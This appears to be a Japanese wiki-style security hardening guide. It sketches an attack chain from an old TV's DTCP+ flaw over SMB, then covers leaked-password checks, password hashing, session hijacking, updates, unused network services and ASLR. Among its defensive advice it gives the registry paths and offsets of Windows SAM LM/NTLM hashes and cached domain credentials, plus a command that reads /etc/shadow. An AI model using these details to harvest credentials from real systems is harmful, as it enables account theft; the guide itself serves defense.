新しいWindows PC同士ではホームネットワーク経由でファイルをやり取りするためにファイルの共有 (SMB{{efn|Server Message Block}}) を有効にしているとします。一方、古い機器の方を脆弱性のある古いテレビとしましょう。このテレビはインターネットから繋いで地上デジタル放送を見るための DCTP+ {{efn|Digital Transmission Content Protection +}}が搭載されており、UPnP{{efn|Universal Plug and Play}}で自動的にエッジルーター搭載のファイアーウォールに穴あけてインターネット側から DCTP+ に繋がるようになっているものとします。

この仮定によってハッカーは DCTP+ の脆弱性を使って古いテレビに悪意のあるプログラムを実行させてファイルの共有サーバーを立て{{efn|Windows 11時点でもゲスト認証による接続は許可されている&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-interception-defense?tabs=group-policy Protect SMB traffic from interception] Microsoft&lt;/ref&gt;。}}、そこからファイルの共有を通じて新しいWindows PCにマルウェア (例えば&lt;code&gt;PHOTO-&lt;ランダムな数字&gt;.png.lnk&lt;/code&gt;&lt;ref&gt;[https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/ Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access] Microsoft 2026年6月25日&lt;/ref&gt;) を送り込むことが可能となりました。

== 安全にパスワードを使う ==
=== 流出したパスワードと被ってないかをチェックする ===
あちこちのサイトで流出したパスワードは集められてデータベース化されダークネットに流通しています。この代表的なものには2019年に登場した [[:w:en:Collection No. 1|Collection #1]] が挙げられます。この Collection #1 などの流出パスワードデータベースは辞書攻撃に利用されており、これは「Credential Stuffing攻撃」と呼ばれています。

使うパスワードが流出パスワードデータベースに載っていないかを確認するためには上記のデータベースを手に入れるか、上記のデータベースからk-匿名性で検索を行うオンラインサービスを使うと良いでしょう。

このオンラインサービスの代表的なものにはWebサイト「Have I Been Pwned」の提供する「Pwned Passwords」サービスが存在しますが、このAPIではパスワードのSHA-1ハッシュ先頭5文字を渡すと、流出したパスワードのSHA1ハッシュ6文字以降と流出データベースに載っていた回数が返答されます。
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # パスワードを入力してSHA-1ハッシュへと変換する（ここでは'test'と入力）
$ sha1=$(read -sp &quot;Password: &quot; pass &amp;&amp; echo -n $pass | sha1sum | cut -d' ' -f1)
Password: 
$ # 変換後のハッシュを表示
$ echo $sha1
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
$ # ハッシュの先頭5文字を渡して6文字目以降を検索（':'の後ろは見つかった数）
$ curl -s https://api.pwnedpasswords.com/range/$(echo $sha1 | cut -c 1-5) | grep -i $(echo $sha1 | cut -c 6-)
FE5CCB19BA61C4C0873D391E987982FBBD3:1579235
&lt;/syntaxhighlight&gt;

ハッシュの先頭5文字も渡したくない場合や、自社サービスでチェックを行いたい場合は上記のサービスが公式で提供するツール「haveibeenpwned-downloader」[https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader]で全てのハッシュデータをダウンロードして自前で照合しましょう。

=== 解析耐性のある鍵導出関数を使う ===
パスワードでは計算負荷の低い SHA-256 や SHA-512 などの通常のハッシュ関数、メモリ負荷の低い [[:w:PBKDF2|PBKDF2]] や bcrypt などの古い[[:w:鍵導出関数|鍵導出関数]]（パスワードハッシュ関数）を使わないようにしましょう。これらの弱いハッシュ関数は GPU や ASIC で高速に解かれてしまいます。

より強いパスワードハッシュ関数としては yescrypt や Argon2id が存在します。パスワードにはこちらを使いましょう。現代の Linux ではアカウントのパスワードハッシュ関数として yescrypt が標準となっています。

使っている Linux の新規アカウントで使われるパスワードハッシュ関数は以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -n 'pam_unix.so' /etc/pam.d/common-password
26:password     [success=2 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt
&lt;/syntaxhighlight&gt;

Linuxの現在のアカウントがどのハッシュ関数を使用しているかは以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo cat /etc/shadow | grep $USER # $(1|5|6|b)$=弱い、$y$=強い
user:$y$j9T$ST7oYwlQjFy7/8vnL/Ugt0$po4vW4qgGu8lpUNRtH0B3hDHGZACzcRhzIKhqlx.2Z5:20743:0:99999:7:::
&lt;/syntaxhighlight&gt;

弱いハッシュ関数を使用している場合は&lt;code&gt;passwd $USER&lt;/code&gt;でパスワードを再設定して使用するハッシュ関数を更新してください。

一方、Windows 10 以前のローカルアカウントではパスワードハッシュがレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;(ユーザーID)\&lt;wbr&gt;V&lt;/code&gt;{{efn|name=&quot;sam&quot;}}のバイナリの以下の場所に存在します:
* [[:w:LMハッシュ|LMハッシュ]]:  0xCC + (0x9C に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt;
* NTLMハッシュ:  0xCC + (0xA8 に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt; 

LMハッシュは [[:w:LAN Manager|LAN Manager]] に使われていた [[:w:Data Encryption Standard|DES]] ベースの古いハッシュ、NTLMハッシュは [[:w:NT LAN Manager|NT LAN Manager]] に使われている [[:w:MD4|MD4]] ベースの古いハッシュであり、どちらも非常に弱いものとなっていました。

また Windows の Active Directory ドメインアカウントのオフライン認証向けキャッシュ済みドメイン資格情報はレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SECURITY\&lt;wbr&gt;Cache&lt;/code&gt;に存在します:
* DCC1 ハッシュ (MSCache v1): 弱い MD4 ベース。Windows XP以前。
* DCC2 ハッシュ (MSCache v2) : 弱めの PBKDF2-HMAC-SHA1 ベース。Windows Vista以後&lt;ref&gt;[https://attack.mitre.org/techniques/T1003/005/ OS Credential Dumping: Cached Domain Credentials] MITRE 2025年10月24日&lt;/ref&gt;。

2021年にリリースされた Windows 11 以降は Microsoft アカウントが必須となっています。

&lt;!--TODO: 
Windows Hello、LSA Secrets

=== パスワードの複雑性をチェックする ===
=== TPMで鍵を隔離する ===
--&gt;

=== セッションハイジャックを防ぐ ===
パスワードの悪用は年々難しくなってるため、それに代わってブラウザセッション（Cookieなど）を乗っ取る「セッションハイジャック」という手法も流行するようになりました。

これには例えばマルウェアでブラウザのセッションファイルを抜き取る、正規サイトに挿入される広告などの Javascript ファイルから Cookie (&lt;code&gt;document.cookie&lt;/code&gt;) を抜き取る（Webサイト側は Cookie の HttpOnly 属性、 SameSite 属性で対策可）などの方法が考えられます。

また以前は暗号化通信 (HTTPS) を遮断したり転送するなどして非暗号化通信 (HTTP) にフォールバックさせるという攻撃もありました（Webサイト側はHTTPヘッダの Strict-Transport-Security や Cookie の Secure 属性で対策）が、Chrome 154 以降は HTTP のサイト自体に警告が出るようになりました。

ブラウザのセッションファイルは以下のように暗号化されています&lt;ref name=&quot;google-cookie-2024&quot;/&gt;が、C4 (Chrome Cookie Cipher Cracker) 攻撃によってそれを抜き出すことが行われています。
{| class=&quot;wikitable&quot;
|+ Chromeのセッションファイルの暗号化&lt;ref name=&quot;google-cookie-2024&quot;&gt;[https://developers-jp.googleblog.com/2024/08/improving-security-of-chrome-cookies-on.html Windows 版 Chrome で Cookie のセキュリティを向上させる] Google 2024年8月15日&lt;/ref&gt;
|-
! Windows !! macOS !! Linux (GNOME) !! Linux (KDE)
|-
| アプリケーション バウンド暗号化 || [[:w:Keychain|Keychain]]サービス || [[:w:GNOME Keyring|GNOME Keyring]] (libsecret) || [[:w:KWallet|KWallet]]
|}

なおアプリケーション バウンド暗号化はポリシー設定 ( chrome://policy ) の ApplicationBoundEncryptionEnabled をfalseにすることで無効化することができる&lt;ref&gt;[https://chromeenterprise.google/policies/#ApplicationBoundEncryptionEnabled Chrome Enterprise のポリシーリストと管理 - ドキュメント - ApplicationBoundEncryptionEnabled] Google&lt;/ref&gt;ため、無効になってないか確認しましょう。

== 既製製品の脆弱性を塞ぐ ==
まずは弱いところを無くしましょう。

=== ソフトウェアアップデートをする ===
セキュリティの基本はソフトウェアアップデートです。

==== PCおよびモバイル ====
PC{{efn|PCサーバを含む}}やモバイルでは基本的に自動で通知が来るので忘れずにアップデートを選択しましょう。手動では以下のように行います:
; Windows
: システムのアップデートは基本的に [[:w:Microsoft Update|Microsoft Update]] (Windows Update) で、アプリケーションのアップデートは基本的に&lt;code&gt;winget upgrade --all&lt;/code&gt;コマンドで行います。
: また Windows 11 Enterprise では再起動が不要なホットパッチにも対応しています。
; macOS / iOS
: 「ソフトウェアアップデート」
; Ubuntu / Debian
: [[:w:APT|APT]]パッケージ管理システムでは&lt;code&gt;apt upgrade&lt;/code&gt;コマンドで更新を行います。
: Ubuntu では GUI による更新用として[[:w:Software Updater|Software Updater]] (&lt;code&gt;update-manager&lt;/code&gt;コマンド)、[[:w:Snap (ソフトウェア)|Snap]]パッケージの更新コマンドとして&lt;code&gt;snap refresh&lt;/code&gt;、メジャーバージョンの更新コマンドとして&lt;code&gt;do-release-upgrade&lt;/code&gt;も存在します。
: また Ubuntu では Ubuntu Pro に登録することで再起動が不要なカーネル修正の「Livepatch」も可能となります（個人では5台まで無料）。SUSEではユーザー空間ライブパッチングまで提供されています（glibc と openssl のみ）&lt;ref&gt;[https://documentation.suse.com/ja-jp/sles/15-SP6/html/SLES-all/cha-ulp.html ユーザ空間ライブパッチ - 管理ガイド - SLES 15 SP6] SUSE&lt;/ref&gt;。
; RedHat / Fedora
: &lt;code&gt;yum update&lt;/code&gt;コマンド
; Android
: 「設定」アプリ→「システム」→「システムアップデート」または「ソフトウェアアップデート」 

また個々のハードウェアのファームウェアアップデートは以下で行います:
; Linux
: Linuxにおけるファームウェアの更新は基本的に&lt;code&gt;fwupdmgr update&lt;/code&gt;コマンドで行います。
: NVMe SSDのファームウェアの更新は&lt;code&gt;nvme fw-download&lt;/code&gt;コマンドおよび&lt;code&gt;nvme fw-commit&lt;/code&gt;コマンドで行うことができます。
一方、Windows ではファームウェアのアップデートも Windows Update 経由で&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/bringup/firmware-update ファームウェアの更新] Microsoft&lt;/ref&gt;、macOS ではファームウェアのアップデートもmacOSアップデートで行うことができます&lt;ref&gt;[https://support.apple.com/ja-jp/guide/mac-help/mchlp2609/mac Macのファームウェアアップデートの入手方法] Apple&lt;/ref&gt;。

&lt;!--
また開発環境では以下も存在します:
; Python
: &lt;code&gt;pip -U install&lt;/code&gt;
--&gt;

==== ルーター ====
ルーターでは以下の設定を有効のままにしておきましょう:
; AirStationシリーズ（Buffalo 製ルーター）
: 「ファームウェア自動更新機能」
; Atermシリーズ（NEC 製ルーター）
: 「メンテナンスバージョンアップ機能」「時刻指定バージョンアップ機能」

==== テレビ ====
テレビでは放送波アップデートが行われるため、「放送波による自動更新」&lt;!--TODO: メーカー別名--&gt;を有効にしましょう。

=== 高速に再起動する ===
パッケージは更新しただけでは反映されません（一部デーモンの更新を除く）。Linuxでは高速に再起動する方法が存在し、これによってダウンタイムを減らすことができます。
; 更新で影響を受けるデーモンのみ再起動する
:* Ubuntu Server: 標準で &lt;code&gt;needrestart&lt;/code&gt; が導入されており自動で影響を受けるデーモンの再起動が行われます{{efn|自動的なデーモン再起動を止めるには /etc/apt/apt.conf.d/99needrestart より&lt;code&gt;-m u&lt;/code&gt;を削除する必要があります&lt;ref&gt;[https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts/44671 `needrestart` changes in Ubuntu 24.04: service restarts] Canonical 2024年&lt;/ref&gt;。}}（Ubuntu Desktopでは別途導入が必要）。
:* RedHat / Fedora: &lt;code&gt;dnf needs-restarting&lt;/code&gt;が導入されており、それによって再起動するべきデーモンを確認できます。
; ユーザー空間のみ再起動する（カーネルの更新がない、またはカーネルでlive patchingを行ってる場合）
: &lt;code&gt;sudo systemctl soft-reboot&lt;/code&gt;
; 高速にカーネルを更新する（ファームウェアの更新がない場合）
: &lt;code&gt;sudo systemctl kexec&lt;/code&gt;

また一部のソフトウェアではホットアップグレード（無停止アップグレード{{efn|Zero-Downtime Upgrade}}）にも対応しています (nginx の USR2 シグナル&lt;ref&gt;[https://nginx.org/en/docs/control.html Controlling nginx] nginx&lt;/ref&gt;など)。

=== 代替ソフトウェアを探す ===
更新が停止された古いソフトウェアの多くはそれ自身に脆弱性が存在したり、脆弱性のある古いライブラリに依存していたりします。そのため古いソフトウェアは速やかに代替ソフトウェアへと移行しましょう。

==== 開発終了したソフトウェアから現役のソフトウェアへ ====
古いソフトウェアには例えば以下があります:
* オフィススイート（代替候補: LibreOffice）
** [[:w:OpenOffice.org|OpenOffice.org]]（〜2011年）
* 画像ビューア
** [[:w:Susie|Susie]] （〜2013年）
* メディアプレイヤー
** [[:w:QuickTime|QuickTime]] for Windows（〜2016年） - リモートコード実行の脆弱性 ([https://www.zerodayinitiative.com/advisories/ZDI-16-241/ ZDI-16-241]、[https://www.zerodayinitiative.com/advisories/ZDI-16-242/ ZDI-16-242]) を残したままサポート終了しました&lt;ref&gt;[https://internet.watch.impress.co.jp/docs/news/753400.html Apple、「QuickTime for Windows」のサポートを終了、アンインストールを推奨] Impress 2016年4月15日&lt;/ref&gt;。
* メディアフィルター（代替候補: LAV Filters）
** [[:w:ffdshow|ffdshow]]（〜2014年）
** [[:w:Haali Media Splitter|Haali Media Splitter]]（〜2013年） 
* メディアセンター（代替候補: Kodi）
** [[:w:en:Boxee|Boxee]]（〜2011年）
** [[:w:Kodi|XBMC]]（〜2014年） - Kodiの前身
* 圧縮ソフトウェア
** [[:w:+Lhaca|+Lhaca]]（〜2007年）
** [[:w:Lhaplus|Lhaplus]]（〜2017年）

またハードウェアに由来する古いソフトウェアには例えば以下があります:
* [[w:ウォークマン|ウォークマン]]関連（代替候補: [[:w:Music Center for PC|Music Center for PC]]）
** [[:w:CONNECT Player|CONNECT Player]]（〜2007年、Sony）
** [[:w:SonicStage|SonicStage]]（〜2009年、Sony）
** [[:w:x-アプリ|x-アプリ]]（〜2016年、Sony）
* DTCP-IP関連
** SmartVision/PLAYER powered by DiXiM（〜2019年、NEC）&lt;ref&gt;[https://support.nec-lavie.jp/navigate/support/info/2019/announce/svp/ SmartVision/PLAYER保守サービス終了のお知らせ] NECパーソナルコンピュータ 2019年1月28日&lt;/ref&gt;&lt;ref&gt;[https://apps.microsoft.com/detail/9wzdncrdkb4c?hl=ja-JP&amp;gl=JP SmartVision/PLAYER powered by DiXiM] Microsoft&lt;/ref&gt;
** DiXiM Digital TV plus for I-O DATA（〜2022年、I-O DATA）&lt;ref&gt;[https://www.iodata.jp/lib/product/d/3533.htm DiXiM Digital TV plus for I-O DATA] I-O DATA&lt;/ref&gt;

なお仮想マシンを使って隔離しながら古いソフトウェアを動かすこともできますが、仮想マシンでも「VMエスケープ」の脆弱性を使用することでホスト環境への侵害が可能なため、仮想マシンの上で弱い環境や弱いソフトウェアを使うこともなるべく避けましょう。&lt;!--TODO: Windows Sandbox--&gt;

==== 古いバージョンのライブラリを避ける ====
多くのソフトウェアに使用されているライブラリとその過去の危険な脆弱性には例えば以下があります:&lt;!--危険を認識させる。例はライブラリ内のメイン処理に存在し、任意コード実行であり、脆弱性の存在期間が長く、新しいものが好ましい。--&gt;
* 画像ライブラリ
** libpng - [https://access.redhat.com/security/cve/cve-2010-1205 CVE-2010-1205]（PNG画像で任意コード実行の可能性）
** libjpeg-turbo - [https://access.redhat.com/security/cve/cve-2012-2806 CVE-2012-2806]（JPEG画像で任意コード実行の可能性）
** OpenJPEG - [https://access.redhat.com/security/cve/cve-2025-54874 CVE-2025-54874]（JPEG2000画像で任意コード実行の可能性）
** libtiff - [https://access.redhat.com/security/cve/cve-2026-12912 CVE-2026-12912]（PixarLog圧縮TIFF画像で任意コード実行の可能性）
** libwebp - [https://access.redhat.com/security/cve/cve-2023-4863 CVE-2023-4863]（WebP画像で任意コード実行の可能性）
* 動画ライブラリ
** FFmpeg - [https://access.redhat.com/security/cve/cve-2024-22860 CVE-2024-22860]（JPEG XLアニメーションで任意コード実行の可能性）
* 圧縮ライブラリ
** libarchive - [https://access.redhat.com/security/cve/cve-2026-15028 CVE-2026-15028]（tarアーカイブ形式で任意コード実行の可能性）
** zlib - [https://access.redhat.com/security/cve/cve-2002-0059 CVE-2002-0059]（Deflate圧縮形式で任意コード実行の可能性）
** bzip2 - [https://access.redhat.com/security/cve/cve-2010-0405 CVE-2010-0405]（BZ2圧縮形式で任意コード実行の可能性）

これらのライブラリはABI（アプリケーションバイナリインターフェイス）が変更されて新しいバージョンの共有ライブラリにドロップイン置換できないものも多くなっています。

また国内で使われている古いソフトウェアでは開発中止になった以下のライブラリも問題となっています:
* UNLHA32.DLL&lt;ref&gt;[https://forest.watch.impress.co.jp/docs/news/372729.html 圧縮・解凍用DLL「UNLHA32.DLL」が開発中止、作者はLZHの利用中止を呼びかけ] Impress 2010年6月7日&lt;/ref&gt;

Webフレームワークでは開発中止となった以下のフレームワークが問題となっています:
* [[:w:Model View Controller|Model View Controller]]フレームワーク（代替候補: [[:w:Apache Struts|Apache Struts]] 2、[[:w:Spring Framework#Model-View-Controller フレームワーク|Spring MVC]]）
** [[:w:en:Apache Struts 1|Apache Struts 1]]（〜2008年） - Java言語
* [[:w:アスペクト指向プログラミング|アスペクト指向フレームワーク]]（代替候補: [[:w:Spring Framework|Spring Framework]]、[[:w:en:Micronaut (framework)|Micronaut]]）
** [[:w:Seasar|Seasar]]（〜2016年） - Java言語
* [[:w:シングルページアプリケーション|シングルページアプリケーション]]フレームワーク（代替候補: [[:w:Angular|Angular]]、[[:w:Vue.js|Vue.js]]）
** [[:w:AngularJS|AngularJS]]（〜2022年） - JavaScript

=== 古いハードウェアに対処する ===
サポート切れの OS を搭載したハードウェアはどうすれば良いでしょうか。これには使い続けるいくつかの方法がありますが、基本的にオススメしません。古い OS を搭載していたハードウェアはハードウェア仕様も古いからです。

==== スタンドアロン運用 ====
古いハードウェアはインターネットに繋がずに使用すること（スタンドアロン運用）も可能です。

しかしながらUSBメモリでデータをやり取りする場合はUSBメモリ経由での感染などのリスクは残ります。

==== 新しめのLinuxを導入 ====
新しめのLinuxを導入するという方法もあります。

これに適したものでは例えばWindows 11非対応のPC (Intel 第7世代以前、AMD Ryzen 1000シリーズ以前) が挙げられます。

またスマートフォンやタブレットであればカスタムROMが、ルーターであればDD-WRTやOpenWRTが存在します。

==== 手放す ====
手に負えなければデータだけバックアップして手放しましょう。情報が漏れないよう初期化も忘れずに。

== 不要なサービスを止める / 削除する ==
{| class=&quot;wikitable&quot;
|+ サービス表示系コマンド
|-
! 稼働中のシステムサービスを見る
| &lt;code&gt;systemctl --type=service --state=running&lt;/code&gt;
|-
! 稼働中のユーザーサービスを見る
| &lt;code&gt;systemctl --user --type=service --state=running&lt;/code&gt;
|}

=== TCP/UDP経由のサービス ===
TCP/UDPでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -tulnp&lt;/code&gt; を、通信しているプロセスを見るには &lt;code&gt;sudo lsof -i -P -n&lt;/code&gt; を実行しましょう。

{| class=&quot;wikitable&quot;
|+ 主なポート待ち受けのあるプロセス
|-
! ポート !! 機能 !! プロセス名 !! サービス名または起動コマンド !! パッケージ名 (Ubuntu) || 直接問い合せコマンド
|-
| rowspan=2 | 53/UDP&lt;br&gt;53/TCP || rowspan=2 | DNS（名前解決） || systemd-resolved || systemd-resolved.service || systemd-resolved || &lt;code&gt;dig @127.0.0.53 example.com&lt;/code&gt;
|-
| dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;dig @10.208.199.1 example.com&lt;/code&gt;
|-
| rowspan=2 | 5353/UDP || rowspan=2 | [[:w:マルチキャストDNS|マルチキャストDNS]] || systemd-resolved || systemd-resolved.service ||  systemd-resolved || &lt;code&gt;resolvectl -p mdns query $HOSTNAME.local&lt;/code&gt;
|-
| Avahi || avahi-daemon.service || avahi-daemon || &lt;code&gt;avahi-resolve-host-name $HOSTNAME.local&lt;/code&gt;
|-
| 67/UDP&lt;br&gt;547/UDP || [[:w:DHCP|DHCP]]&lt;br&gt;[[:w:DHCPv6|DHCPv6]] || dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;IP=$(ip -4 -o addr show pan1 &amp;vert; grep -oP '(?&lt;=inet )[\d.]+'); sudo dhcping -v -i -s &quot;$IP&quot; -c &quot;$IP&quot;&lt;/code&gt;{{efn|Ubuntuではdhcpingパッケージの導入が必要です。}}
|-
| rowspan=2 | 68/UDP&lt;br&gt;546/UDP || rowspan=2 | DHCPクライアント&lt;br&gt;DHCPv6クライアント{{efn|単独のDHCPクライアントである dhclient、dhcpcd なども存在する。また開発終了になったisc-dhcp-clientも存在した。}} || systemd-networkd&lt;wbr&gt;{{efn|name=&quot;network-all&quot;}} || || systemd || 
|-
| NetworkManager&lt;wbr&gt;{{efn|name=&quot;network-all&quot;|ネットワーク管理全般を担当しています。}} || NetworkManager.service || network-manager || 
|-
| rowspan=2 | 123/UDP&lt;br&gt;4460/TCP || rowspan=2 | NTP（時刻同期）&lt;br&gt;NTS-KE （NTPの鍵交換）{{efn|これらの代替として systemd-timesyncd もありますが、こちらは NTP の代わりに単純な SNTP のみ実装の上、サーバーを持たずクライアント側のみ対応です。}} || ntpd || ntpsec.service || ntpsec || rowspan=2 | &lt;code&gt;ntpdig localhost&lt;/code&gt;{{efn|ローカルへのNTP問い合せは&lt;code&gt;ntpdate -q localhost&lt;/code&gt;でもできますが、こちらはNTP-KE非対応です。}}
|-
| chronyd || chrony.service || chrony
|-
| 80/TCP&lt;br&gt;443/HTTP&lt;br&gt;443/UDP || HTTP&lt;br&gt;HTTPS&lt;br&gt;HTTP/3 (QUIC) || apache2 || apache2.service&lt;br&gt;apache2@.service&lt;br&gt;httpd.service&lt;br&gt;httpd@.service || apache2 || HTTP: &lt;code&gt;curl http://localhost&lt;/code&gt;&lt;br&gt;HTTPS: &lt;code&gt;curl --http2 https://localhost&lt;/code&gt;&lt;br&gt;HTTP/3: &lt;code&gt;curl --http3-only https://localhost&lt;/code&gt;
|-
| rowspan=2 | ユーザーポート/UDP || rowspan=2 | HTTP/3 (QUIC) クライアント&lt;br&gt;WebRTCクライアント || chrome{{efn|Google Chrome}} || &lt;code&gt;google-chrome&lt;/code&gt; || google-chrome (公式APTリポジトリ) || 
|-
| firefox{{efn|Mozzila Firefox}} || &lt;code&gt;firefox&lt;/code&gt; || firefox (snap) || 
|-
| rowspan=2 |21/TCP&lt;br&gt;20/TCP{{efn|アクティブモードのみデータ転送で使われます。}} || rowspan=2 | FTP || proftpd || proftpd.service&lt;br&gt;proftpd@.service || proftpd-core || rowspan=2 | &lt;code&gt;curl ftp://localhost&lt;/code&gt;
|-
| vsftpd || vsftpd.service || vsftpd
|-
| 22/TCP || SSH / SFTP || sshd || ssh.service&lt;br&gt;sshd@.service || openssh-server || &lt;code&gt;ssh-keyscan 127.0.0.1&lt;/code&gt;
|-
| rowspan=2 | 6881/TCP || rowspan=2 | BitTorrent || qbittorrent || &lt;code&gt;qbittorrent&lt;/code&gt; || qbittorrent ||
|-
| ktorrent || &lt;code&gt;ktorrent&lt;/code&gt; || ktorrent ||
|-
| rowspan=2 | 51413/TCP || rowspan=2 | Transmission&lt;wbr&gt;{{efn|BitTorrentプロトコル。TransmissionをベースとするFragmentsも同ポートを使用します。}} || transmission-daemon || transmission-daemon.service || transmission-daemon ||
|-
| transmission-gtk || &lt;code&gt;transmission-gtk&lt;/code&gt; || transmission-gtk ||
|-
| 5001/TCP&lt;br&gt;5001/UDP || rowspan=2|  ネットワークパフォーマンス計測 || iperf || &lt;code&gt;iperf -s&lt;/code&gt; || iperf || &lt;code&gt;iperf -c localhost&lt;/code&gt;
|-
| 5021/TCP&lt;br&gt;5021/UDP || iperf3 || &lt;code&gt;iperf3 -s&lt;/code&gt; || iperf3 || &lt;code&gt;iperf3 -c localhost&lt;/code&gt;
|-
| 1716/UDP&lt;br&gt;1716/TCP&lt;br&gt;ユーザーポート/UDP || スマートフォン連携 (KDE) || kdeconnectd || &lt;code&gt;kdeconnect-app&lt;/code&gt; || kdeconnect ||
|-
| ユーザーポート/TCP || Claude Proxy Service || code{{efn|[[:w:Visual Studio Code|Visual Studio Code]]のプロセス。}} || &lt;code&gt;code&lt;/code&gt; || code (公式APTリポジトリ) || 
&lt;!--
|-
|  || AI コーディング支援 (Google Antigravity CLI{{efn|Command Line Interface}}) || agy || || (Visal Studio Code拡張) || 
--&gt;
|-
| rowspan=2 | 3389/TCP&lt;br&gt;3389/UDP || rowspan=2 | Remote Desktop Protocol || gnome-remote-desktop-daemon{{efn|GNOME Remote Desktop}} || gnome-remote-desktop.service&lt;!-- (system)--&gt;&lt;br&gt;gnome-remote-desktop.service (user)&lt;br&gt;gnome-remote-desktop-headless.service (user) || gnome-remote-desktop || 
|-
| krdpserver || app-org.kde.krdpserver.service (user) || krdp || 
|-
| 47984/TCP&lt;br&gt;47989/TCP&lt;br&gt;48010/TCP&lt;br&gt;47998–48010/UDP || NVIDIA GameStream || sunshine ||  app-dev.&lt;wbr&gt;lizardbyte.&lt;wbr&gt;app.&lt;wbr&gt;Sunshine.service (user) || sunshine (公式debファイル) ||  (moonlight-qt)
|-
| 27031-27036/UDP&lt;br&gt;27036/TCP || Steam Remote Play&lt;ref&gt;[https://help.steampowered.com/ja/faqs/view/2EA8-4D75-DA21-31EB Steam接続に必要なポート] Valve&lt;/ref&gt; || steam || &lt;code&gt;steam&lt;/code&gt; || steam (公式APTリポジトリ) || 
|-
| 1900/UDP || UPnP{{efn|パケットフィルタと共に使用して要求に従ってポートマッピングする。}} || miniupnpd || miniupnpd.service || miniupnpd-nftables&lt;br&gt;miniupnpd-iptables ||
|}

なおUPnPのポートは外側に解放しないようにしましょう。また内側にだけ解放した場合も内側に侵害された機器が存在する場合に危険となるのでVLANでネットワークを分けるなどを心がけましょう。

また外側に開いてるポートはランダム割り当てされないように sysctl の &lt;code&gt;net.ipv4.ip_local_reserved_ports&lt;/code&gt; で予約しておきましょう。この設定を永続化するには /etc/sysctl.d/99-local-ports.conf あたりに&lt;code&gt;net.ipv4.ip_local_reserved_ports=a,b,c&lt;/code&gt;{{efn|ダブルクォーテーションで囲むと「無効な引数です」のエラーになるので注意してください。}}と記述すれば OK です。設定を直ぐに反映するには&lt;code&gt;sudo sysctl --system&lt;/code&gt;を実行しましょう。

&lt;!--TODO: CUPS、Postfix、Samba、Wsdd--&gt;

=== Unix Domain経由のサービス ===
Unix Domainでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -xlp&lt;/code&gt; を実行しましょう。


=== dbus経由のサービス ===
システムバスは &lt;code&gt;busctl --system list&lt;/code&gt;、セッションバスは &lt;code&gt;busctl --user list&lt;/code&gt; で確認することができます。

それらを提供する実行中のプロセスの一覧は以下で取得できます:
* システムバスを提供するプロセス: &lt;code&gt;busctl --system --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;
* ユーザーバスを提供するプロセス: &lt;code&gt;busctl --user --no-pager | awk 'NR&gt;1 &amp;&amp; $2 ~ /^[0-9]+$/ {print $2}' | xargs -I {} readlink &quot;/proc/{}/exe&quot; | sort -u&lt;/code&gt;

dbusサービスの一部はプロセス未実行のアクティベータブル (activatable) な状態で提供されています。アクティベータブルな状態で提供するサービスの実行コマンドは以下で取得できます:
*  activatableなシステムバスの実行コマンド: &lt;code&gt;busctl --system --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;
*  activatableなユーザーバスの実行コマンド: &lt;code&gt;busctl --user --no-pager --activatable | awk '{print $1}' | xargs -I {} find /usr/share/dbus-1 -name &quot;{}.service&quot; | xargs grep -h &quot;Exec=&quot; | sed 's/Exec=//g' | sort -u&lt;/code&gt;

== 潜在的な脆弱性を減らす ==
現代のプログラムでは以下のような保護が行われています。

=== メモリアドレスの推測困難化 === 
攻撃に必要なコード片（ガジェット）のメモリアドレスを推測しにくくするために、カーネル空間、ユーザー空間の両方で[[:w:アドレス空間配置のランダム化|アドレス空間配置のランダム化]]（ASLR）が行われています。カーネル空間の ASLR は KASLR (Kernel ASLR) とも呼ばれています。

ユーザー空間のプログラムで ASLR を有効にするためには[[:w:位置独立コード|位置独立コード]] (PIC) / 位置独立実行形式 (PIE) である必要があります。Unix で使われる実行形式の ELF では位置独立実行形式が ET_DYN、非位置独立実行形式 (non-PIE) が ET_EXEC となります。

Linuxでは ASLR が無効となる非位置独立実行形式のファイルを以下で検索することができます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # 非位置独立実行形式 (non-PIE) のバイナリを検索
$ find / -type f -executable 2&gt;/dev/null | xargs -I {} sh -c 'LANG=C readelf -h {} 2&gt;/dev/null | grep -E &quot;Type:.*EXEC&quot; &gt;/dev/null &amp;&amp; echo {}'
/usr/lib/default.sfx
/usr/lib/klibc/bin/mkfifo
/usr/lib/klibc/bin/zcat
/usr/lib/klibc/bin/poweroff
[...]
$ # 非位置独立実行形式 (non-PIE) のバイナリを含むDebianパッケージを検索
